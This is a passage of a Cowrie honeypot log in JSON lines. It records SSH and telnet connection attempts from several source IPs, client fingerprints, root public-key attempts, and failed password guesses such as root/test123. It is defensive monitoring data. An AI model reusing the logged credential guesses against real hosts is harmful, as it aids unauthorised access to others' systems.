14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:01.572649Z","src_ip":"104.194.9.81","session":"dcb00145d545","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:10:d0:7d:93:c2:a4:0a:fb:ab:ff:a9:ba:34:3c:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDyND8NoSoDkqnaYfhbkMyWHwYlDWsqqiuEBuaixE5HGJAkyBK55rrS0HL8t+q5zu3vLhjrCvQYrNXHPTFQsTt7DMecOTWXMaSdxluhkQzMuH9iUO5MfXOFkLFYjxTDSpWnzi3jKrGDWvEB3KqkOP8oN7zlzmKgiUSvJ4myD1CHd41T04Eg2cE/r44mMAYCHhjvxh7DsN1NoyHwSk6er3eerp1F7LkROj1ZvxJ/319iypMa9AOENSwuHlxZ1Tw0Y4CcnH6xtS7GnHWOxVBfiS4q79v73d0Yc1piABPbCdrdl+hrze+QiLSVUcqDqKMERgBnaaLHIm4PIOWtBXvroYun","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:10:d0:7d:93:c2:a4:0a:fb:ab:ff:a9:ba:34:3c:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:01.593162Z","src_ip":"104.194.9.81","session":"dcb00145d545","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:10:d0:7d:93:c2:a4:0a:fb:ab:ff:a9:ba:34:3c:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDyND8NoSoDkqnaYfhbkMyWHwYlDWsqqiuEBuaixE5HGJAkyBK55rrS0HL8t+q5zu3vLhjrCvQYrNXHPTFQsTt7DMecOTWXMaSdxluhkQzMuH9iUO5MfXOFkLFYjxTDSpWnzi3jKrGDWvEB3KqkOP8oN7zlzmKgiUSvJ4myD1CHd41T04Eg2cE/r44mMAYCHhjvxh7DsN1NoyHwSk6er3eerp1F7LkROj1ZvxJ/319iypMa9AOENSwuHlxZ1Tw0Y4CcnH6xtS7GnHWOxVBfiS4q79v73d0Yc1piABPbCdrdl+hrze+QiLSVUcqDqKMERgBnaaLHIm4PIOWtBXvroYun","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:01.598078Z","src_ip":"104.194.9.81","session":"dcb00145d545","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"37:78:d6:d1:c9:4e:94:58:48:b7:50:24:c5:dd:b5:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/KQeOagHz+yBKAQCRYfv2EQhr9KVl0dbZLFCvZEZSbg0+2XroV8a96sYznhUoGDI+IlaCeB0nj3nUOa8/FaAxsxRrNIsVMz6Nkfnzj765cHG77rsJ/9WKHMSnFRzJ1SG+nk5o0nLLsYybaP7eSZvOYaL7D6ANaukfgGR/K+pIbXHdP8IMgFouSoZzKsA/fk1kHkXwSBV//GM6bFKCAc31IrCdGiL5+LLlipaWfoeTSE8r8Z63qbFSBOqIM+WeRRR6xcCv+ZEyuiHJRZmnza8IfX19bPDSdw4/+ig4CK2tgt4JH/Q6Nb30qK01D0PZS5+I7mTSK3Uht+xTp+nKP3ICIoILOZXEuNeKcyq/nmxFCCVhDOzT2G+8/yLzTs6vFnVXQJqUbVCy2kQOUSe9O/ijnof/l/PhIKqR4P7EHL8E0erXwPgTvSS4E5dMZyrYs8UZ9Tmje1JQGONrFtoo5Bz1AtQG8+nJdbFIfxGpq66XL6YhdSJ7fwnk1P9aFSzTkDdStEMO7yX+NDJ1uvhrBX7avrzua7A/lgLWYiw9kOrWLGS854ncpTgzb9Dzlaq56rvus33jt8Or7nUc+QZaqX14W8P9KBfcjQ0GYuk0mN90ZSF8HyKeFFwUiUx7lmXNn12izf+vGIaizp9uxwl8rk3iULNVSvQX0ejM1+v59x2n9w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 37:78:d6:d1:c9:4e:94:58:48:b7:50:24:c5:dd:b5:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:01.613037Z","src_ip":"104.194.9.81","session":"dcb00145d545","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"37:78:d6:d1:c9:4e:94:58:48:b7:50:24:c5:dd:b5:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/KQeOagHz+yBKAQCRYfv2EQhr9KVl0dbZLFCvZEZSbg0+2XroV8a96sYznhUoGDI+IlaCeB0nj3nUOa8/FaAxsxRrNIsVMz6Nkfnzj765cHG77rsJ/9WKHMSnFRzJ1SG+nk5o0nLLsYybaP7eSZvOYaL7D6ANaukfgGR/K+pIbXHdP8IMgFouSoZzKsA/fk1kHkXwSBV//GM6bFKCAc31IrCdGiL5+LLlipaWfoeTSE8r8Z63qbFSBOqIM+WeRRR6xcCv+ZEyuiHJRZmnza8IfX19bPDSdw4/+ig4CK2tgt4JH/Q6Nb30qK01D0PZS5+I7mTSK3Uht+xTp+nKP3ICIoILOZXEuNeKcyq/nmxFCCVhDOzT2G+8/yLzTs6vFnVXQJqUbVCy2kQOUSe9O/ijnof/l/PhIKqR4P7EHL8E0erXwPgTvSS4E5dMZyrYs8UZ9Tmje1JQGONrFtoo5Bz1AtQG8+nJdbFIfxGpq66XL6YhdSJ7fwnk1P9aFSzTkDdStEMO7yX+NDJ1uvhrBX7avrzua7A/lgLWYiw9kOrWLGS854ncpTgzb9Dzlaq56rvus33jt8Or7nUc+QZaqX14W8P9KBfcjQ0GYuk0mN90ZSF8HyKeFFwUiUx7lmXNn12izf+vGIaizp9uxwl8rk3iULNVSvQX0ejM1+v59x2n9w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:01.617335Z","src_ip":"104.194.9.81","session":"dcb00145d545","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:78:50:6f:23:39:16:9c:d5:15:2c:bb:67:d1:20:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxXNMhat5FFvYMAJ2TYcak9eCoFLlwNNVMKPuCWuLisg+rcQTfaiWw3G9J6hxADTKsuhEic5k7PBM4Y0HgabVV8FRhIC8YbLH8FNO60WWYglnW+mA4doXflM21mCvUoTV+6+MBNyQ2nOICLhdtxA7dJJVXjAGTNm99pV32157n2J1Ec4v326FOIX8l1eInI8bVdI8U/a1AXdy2UG8H5sfszSCj9U3dmvsBfIliVHaao0anjcUiPtQ532P6AG7gFVkmR/JcqXQASchAnVaK9ifkxQzlM/n1ouFAPDbwNhWvKUmOe7tRZulqbjuhngApb1XlDOgW/FcKqzISW+98BT4CGq/bn3ysdTy8W5Qn1KqsiSN78qdpA/mnA1GqSomMvVkP8Az586WB2xnCE1EdfjI8UlnJtj/vsSzO6+Duns+ry4d4T6WxUva85qkTNhOrbb6BxRouezZnARWiEgS0tW5OSPu8V9w12Q0Fq9CRAeE0X+n7XU74uB4prptDrOp53BdaCRVEKmeIUGcob3VxEM4JlBcb+sHHsv778j2IWCrqEjs0Gnshd2e/RXiz5/sMtLU03Jj3dwsaV+1ZcZrhlIiv+PEHkId08EO6oeEv/WSIeSCXlBNV06YO7gqkLQtFVpsj2Xh4kclA/SNEfWtKsVB2k275+uZ1S6dPfrKfmMcZiQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 13:78:50:6f:23:39:16:9c:d5:15:2c:bb:67:d1:20:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:01.627287Z","src_ip":"104.194.9.81","session":"dcb00145d545","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:78:50:6f:23:39:16:9c:d5:15:2c:bb:67:d1:20:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxXNMhat5FFvYMAJ2TYcak9eCoFLlwNNVMKPuCWuLisg+rcQTfaiWw3G9J6hxADTKsuhEic5k7PBM4Y0HgabVV8FRhIC8YbLH8FNO60WWYglnW+mA4doXflM21mCvUoTV+6+MBNyQ2nOICLhdtxA7dJJVXjAGTNm99pV32157n2J1Ec4v326FOIX8l1eInI8bVdI8U/a1AXdy2UG8H5sfszSCj9U3dmvsBfIliVHaao0anjcUiPtQ532P6AG7gFVkmR/JcqXQASchAnVaK9ifkxQzlM/n1ouFAPDbwNhWvKUmOe7tRZulqbjuhngApb1XlDOgW/FcKqzISW+98BT4CGq/bn3ysdTy8W5Qn1KqsiSN78qdpA/mnA1GqSomMvVkP8Az586WB2xnCE1EdfjI8UlnJtj/vsSzO6+Duns+ry4d4T6WxUva85qkTNhOrbb6BxRouezZnARWiEgS0tW5OSPu8V9w12Q0Fq9CRAeE0X+n7XU74uB4prptDrOp53BdaCRVEKmeIUGcob3VxEM4JlBcb+sHHsv778j2IWCrqEjs0Gnshd2e/RXiz5/sMtLU03Jj3dwsaV+1ZcZrhlIiv+PEHkId08EO6oeEv/WSIeSCXlBNV06YO7gqkLQtFVpsj2Xh4kclA/SNEfWtKsVB2k275+uZ1S6dPfrKfmMcZiQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:01.631438Z","src_ip":"104.194.9.81","session":"dcb00145d545","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:46:69:e0:50:44:2a:b7:e6:7d:5c:97:ff:e6:c3:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDUMKyz54ifL1zAh3eFRTUWLE6jGpZIV5JmCdMS73lgigTPh2Fcg3+8Xs66f/vqJEYx97z5mufqqRUmgN3l6VAjfstDu1xARbSpy4gwqqiu5rFp+8VLrnS7JDdbTzzMsSQ66R2VL5b68YfvebtrHx1B0/OWjEVoEpWfxG6ZmOcSSNiNwlcMt5nMC+DXLC2JARJLGt52Jo8M4A6yRKmwUsWEbe52fbcqoaCy2JT2xGHC2w95TfQNtdtzsL8aS3cFT4LuSLsR9Z3QCAguP1Do1+V9uQWLZPn4SZTkOuRFnawZgEM7IP2iM/wClVpByAdiZMzyEbzpg1syEWOJ32TM1Wc4bB+5GW8abK4kfhP26rvjWo+lLCukBKVmRHnPJ/+IPRylk/QnigxBvceUpXZqF4sYckf5swkcvA3Zd4vSRJBs99CcSiBhPA12yoEaREmFOhVU9o5nGPkT2biUMpzO8ZaECR3OwWyQhm2PdlIzyy0knbRGn9ygqm+qs0H0K3ZkD02IS/t/+LG3Hecob+D/RRe73iQ5AipRNQcQ1o75c8rEXpxTRsCmnQsB1/NOeKR5TpclEdVv32BcO3Y4tlWcSCcw5BQpuma/wLsonIU/z8Xy9CYDmlCgjVdnXXK4b0oVNOPVSO1/dc6pAmdUAggrPWd8959EEdCT3XnFV4TR2ZZQw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:46:69:e0:50:44:2a:b7:e6:7d:5c:97:ff:e6:c3:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:01.641703Z","src_ip":"104.194.9.81","session":"dcb00145d545","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:46:69:e0:50:44:2a:b7:e6:7d:5c:97:ff:e6:c3:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDUMKyz54ifL1zAh3eFRTUWLE6jGpZIV5JmCdMS73lgigTPh2Fcg3+8Xs66f/vqJEYx97z5mufqqRUmgN3l6VAjfstDu1xARbSpy4gwqqiu5rFp+8VLrnS7JDdbTzzMsSQ66R2VL5b68YfvebtrHx1B0/OWjEVoEpWfxG6ZmOcSSNiNwlcMt5nMC+DXLC2JARJLGt52Jo8M4A6yRKmwUsWEbe52fbcqoaCy2JT2xGHC2w95TfQNtdtzsL8aS3cFT4LuSLsR9Z3QCAguP1Do1+V9uQWLZPn4SZTkOuRFnawZgEM7IP2iM/wClVpByAdiZMzyEbzpg1syEWOJ32TM1Wc4bB+5GW8abK4kfhP26rvjWo+lLCukBKVmRHnPJ/+IPRylk/QnigxBvceUpXZqF4sYckf5swkcvA3Zd4vSRJBs99CcSiBhPA12yoEaREmFOhVU9o5nGPkT2biUMpzO8ZaECR3OwWyQhm2PdlIzyy0knbRGn9ygqm+qs0H0K3ZkD02IS/t/+LG3Hecob+D/RRe73iQ5AipRNQcQ1o75c8rEXpxTRsCmnQsB1/NOeKR5TpclEdVv32BcO3Y4tlWcSCcw5BQpuma/wLsonIU/z8Xy9CYDmlCgjVdnXXK4b0oVNOPVSO1/dc6pAmdUAggrPWd8959EEdCT3XnFV4TR2ZZQw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:01.645851Z","src_ip":"104.194.9.81","session":"dcb00145d545","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:85:ca:eb:dc:7a:4c:ed:d7:2f:3a:1a:89:84:cf:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDaDDZ2gEe+ijL8mQzswtROzkfL0SYotc/9YZ+2Z7RqYzoKSl5kXV/3XGnplLoZ/Orp+4LhXGs2GcefuJXB16Au0rWzI9o3tRprfjjDyDF+7sgIxBsZfR6qO6P06dYWXncJvCWUYIoeUOG0jA1cEMob2W6cd9HlVPSyVCA6GG1aYRJn8TdCY4voDqc4XOJGcqY1kpxdDrQ/I3zYEnnnitbS0A3G+QYhyL9/dxJFlsbZ2aqcsEeQIj1QQD8QmDHrNdnHZU0R9Yw8dp0/vspbV/rNVyJ/5OziA6BFymBB8Etrvax8nGFq8JxxT2vKSWEKPmenbf8LPiXZ5INF59133kcHi27QVU2MlYELRDCJ9LjMQYLFDmhMvCKAZkMTWC6/EOJF7Y99/tOroRUCG9ka1lc1sPzwmVXreJfSBAz49G5l4UmIWL5YqmtXDIraaYMNDoQDK6uIc9cc1GvIyZQgTgq4BJk9oJ2oXReOQNcKrGtnIV8jorgtIkaFZIbRpdDeBFbAAvchqdMBqKtRQ/AlRvseAUC4i8qKkSFPjcBuQ6t4bmINsHCWva+XetDXsNMv2aTo6bYdTtLQOIAw3lGqUqgKmisSqxHyFjzc9xQWl1RQu9N0hWdlQPUv/LburDeMQmDBnFbJVi74Bpz4Pe+rJ5GQ0H9PTnLml5jwxEDj0HsFkw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:85:ca:eb:dc:7a:4c:ed:d7:2f:3a:1a:89:84:cf:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:01.658150Z","src_ip":"104.194.9.81","session":"dcb00145d545","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:85:ca:eb:dc:7a:4c:ed:d7:2f:3a:1a:89:84:cf:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDaDDZ2gEe+ijL8mQzswtROzkfL0SYotc/9YZ+2Z7RqYzoKSl5kXV/3XGnplLoZ/Orp+4LhXGs2GcefuJXB16Au0rWzI9o3tRprfjjDyDF+7sgIxBsZfR6qO6P06dYWXncJvCWUYIoeUOG0jA1cEMob2W6cd9HlVPSyVCA6GG1aYRJn8TdCY4voDqc4XOJGcqY1kpxdDrQ/I3zYEnnnitbS0A3G+QYhyL9/dxJFlsbZ2aqcsEeQIj1QQD8QmDHrNdnHZU0R9Yw8dp0/vspbV/rNVyJ/5OziA6BFymBB8Etrvax8nGFq8JxxT2vKSWEKPmenbf8LPiXZ5INF59133kcHi27QVU2MlYELRDCJ9LjMQYLFDmhMvCKAZkMTWC6/EOJF7Y99/tOroRUCG9ka1lc1sPzwmVXreJfSBAz49G5l4UmIWL5YqmtXDIraaYMNDoQDK6uIc9cc1GvIyZQgTgq4BJk9oJ2oXReOQNcKrGtnIV8jorgtIkaFZIbRpdDeBFbAAvchqdMBqKtRQ/AlRvseAUC4i8qKkSFPjcBuQ6t4bmINsHCWva+XetDXsNMv2aTo6bYdTtLQOIAw3lGqUqgKmisSqxHyFjzc9xQWl1RQu9N0hWdlQPUv/LburDeMQmDBnFbJVi74Bpz4Pe+rJ5GQ0H9PTnLml5jwxEDj0HsFkw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:01.662263Z","src_ip":"104.194.9.81","session":"dcb00145d545","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:01.673722Z","src_ip":"104.194.9.81","session":"dcb00145d545","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":40020,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e038a9ab219","protocol":"ssh","message":"New connection: 83.168.110.85:40020 (159.203.135.109:22) [session: 5e038a9ab219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:05.776026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:05.780877Z","src_ip":"83.168.110.85","session":"5e038a9ab219","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:05.901904Z","src_ip":"83.168.110.85","session":"5e038a9ab219","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":38066,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bda0a144f4d","protocol":"telnet","message":"New connection: 213.108.3.46:38066 (159.203.135.109:23) [session: 4bda0a144f4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:06.182011Z"}
{"eventid":"cowrie.session.closed","duration":0.01645660400390625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:06.198343Z","src_ip":"213.108.3.46","session":"4bda0a144f4d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123","message":"login attempt [root/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:06.266871Z","src_ip":"83.168.110.85","session":"5e038a9ab219","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:07.587474Z","src_ip":"83.168.110.85","session":"5e038a9ab219","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":59334,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0ad59332c0d","protocol":"ssh","message":"New connection: 160.251.185.39:59334 (159.203.135.109:22) [session: c0ad59332c0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:10.060655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:10.065875Z","src_ip":"160.251.185.39","session":"c0ad59332c0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:10.266659Z","src_ip":"160.251.185.39","session":"c0ad59332c0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gagan","message":"login attempt [root/gagan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:11.047793Z","src_ip":"160.251.185.39","session":"c0ad59332c0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:12.238206Z","src_ip":"160.251.185.39","session":"c0ad59332c0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":41694,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d1c5a216e66","protocol":"ssh","message":"New connection: 83.168.110.85:41694 (159.203.135.109:22) [session: 5d1c5a216e66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:16.567194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:16.571614Z","src_ip":"83.168.110.85","session":"5d1c5a216e66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:16.692079Z","src_ip":"83.168.110.85","session":"5d1c5a216e66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:17.053200Z","src_ip":"83.168.110.85","session":"5d1c5a216e66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:18.177014Z","src_ip":"83.168.110.85","session":"5d1c5a216e66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57084,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b7eafa589f0","protocol":"ssh","message":"New connection: 83.168.110.85:57084 (159.203.135.109:22) [session: 6b7eafa589f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:26.809644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:26.898440Z","src_ip":"83.168.110.85","session":"6b7eafa589f0","protocol":"ssh"}
